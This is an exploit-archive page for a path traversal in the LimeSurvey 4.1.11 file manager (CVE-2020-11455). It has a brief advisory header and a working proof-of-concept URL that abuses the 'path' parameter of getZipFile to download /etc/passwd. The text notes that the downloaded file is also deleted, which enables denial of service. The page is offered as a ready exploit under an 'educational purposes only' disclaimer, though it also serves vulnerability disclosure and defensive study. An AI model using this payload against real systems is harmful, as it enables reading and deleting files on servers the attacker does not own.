Limesurvey 4.1.11 file manager path traversal Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-06 | Type : webapps | Platform : php
This exploit / vulnerability Limesurvey 4.1.11 file manager path traversal is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11455

# Vulnerability Details
# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey
# that allows an attacker to download arbitrary files. The file manager functionality will also
# delete the file after it is downloaded (if the web service account has permissions to do so),
# allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter : "path"


# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd